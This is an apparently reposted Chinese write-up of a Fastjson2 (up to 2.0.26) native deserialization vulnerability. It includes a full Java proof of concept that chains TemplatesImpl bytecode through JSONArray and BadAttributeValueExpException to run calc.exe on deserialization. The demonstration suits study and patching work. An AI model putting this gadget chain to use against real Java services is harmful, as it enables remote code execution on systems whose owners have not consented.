小工具知识网

当前位置: 首页 > 行业知识 > Fastjson2 <== 2.0.26反序列漏洞

行业知识

Fastjson2 <== 2.0.26反序列漏洞

2026-10-30 14:01:17 来源:互联网转载

���据@Y4TACKER师傅在2023-03-20发布了一篇关于Fastjson原生反序列化的文章,文章中引入注目的是利用条件限制条件,不常常关注漏洞预警或者内容的几乎都是未发觉Fastjson2 到Fastjson2 2.0.26版本都有问题,其实如果单独去使用一些关键词去搜索:Fastjson2漏洞或Fastjson2 Payload的结果内容比较乱比较杂,几乎参杂了Fastjson1的SEO搜索内容,那么就可能在一时没注意的情况下直接滑过。

一、创建一个DEMO

设置依赖项(依赖项中有个是使用的是Fastjson1.2.48的,这个就不演示了,主要还是以Fastjson2系列为主)

    4.0.0    xibt    com.xibt    0.0.1-SNAPSHOT    Proxy                        org.javassist            javassist            3.19.0-GA                                     com.alibaba            fastjson            1.2.48                            com.alibaba.fastjson2            fastjson2            2.0.0            

在项目中创建一个Java类(上面的fastjson2依赖,版本根据也可自行更改为2.0.26版本,几乎都是存在问题的)

package com.example.fastjson;import javax.management.BadAttributeValueExpException;import java.io.ByteArrayInputStream;import java.io.ByteArrayOutputStream;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;import java.lang.reflect.Field;import com.alibaba.fastjson2.JSONArray;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import javassist.ClassPool;import javassist.CtClass;import javassist.CtConstructor;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;public class Test {    public static void setValue(Object obj, String name, Object value) throws Exception {        Field field = obj.getClass().getDeclaredField(name);        field.setAccessible(true);        field.set(obj, value);    }    public static void main(String[] args) throws Exception {        ClassPool pool = ClassPool.getDefault();        CtClass clazz = pool.makeClass("a");        CtClass superClass = pool.get(AbstractTranslet.class.getName());        clazz.setSuperclass(superClass);        CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz);        // 修改这里,使用 calc.exe 打开 Windows 计算器(如果是mac需要自行修改)        constructor.setBody("Runtime.getRuntime().exec(\"calc.exe\");");        clazz.addConstructor(constructor);        byte[][] bytes = new byte[][]{clazz.toBytecode()};        TemplatesImpl templates = TemplatesImpl.class.newInstance();        setValue(templates, "_bytecodes", bytes);        setValue(templates, "_name", "y4tacker");        setValue(templates, "_tfactory", null);        JSONArray jsonArray = new JSONArray();        jsonArray.add(templates);        BadAttributeValueExpException val = new BadAttributeValueExpException(null);        Field valfield = val.getClass().getDeclaredField("val");        valfield.setAccessible(true);        valfield.set(val, jsonArray);        ByteArrayOutputStream barr = new ByteArrayOutputStream();        ObjectOutputStream objectOutputStream = new ObjectOutputStream(barr);        objectOutputStream.writeObject(val);        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));        Object o = (Object) ois.readObject();    }}

漏洞触发点:

Fastjson2 在处理某些特殊的序列化数据时存在漏洞,该漏洞允许攻击者通过构造恶意的JSON数据触发远程代码执行。

具体触发点在于通过JSONArray的add方法,将构造的TemplatesImpl对象添加到JSONArray中。

利用方法:

通过构造TemplatesImpl对象,设置_bytecodes字段为经过calc.exe执行代码的字节码。

利用BadAttributeValueExpException类的漏洞,通过设置其val字段为包含恶意TemplatesImpl对象的JSONArray,以触发漏洞。

触发方式:

触发的方式主要是通过对BadAttributeValueExpException对象的序列化和反序列化,以触发Fastjson反序列化漏洞。

最终目的是在反序列化过程中执行恶意构造的TemplatesImpl对象中的代码,即执行constructor.setBody("Runtime.getRuntime().exec(\"calc.exe\");");从而触发恶意调用。

上一篇:物业需要物价部门备案吗怎么办手续

下一篇:主机与显示器的连接线怎么拔出来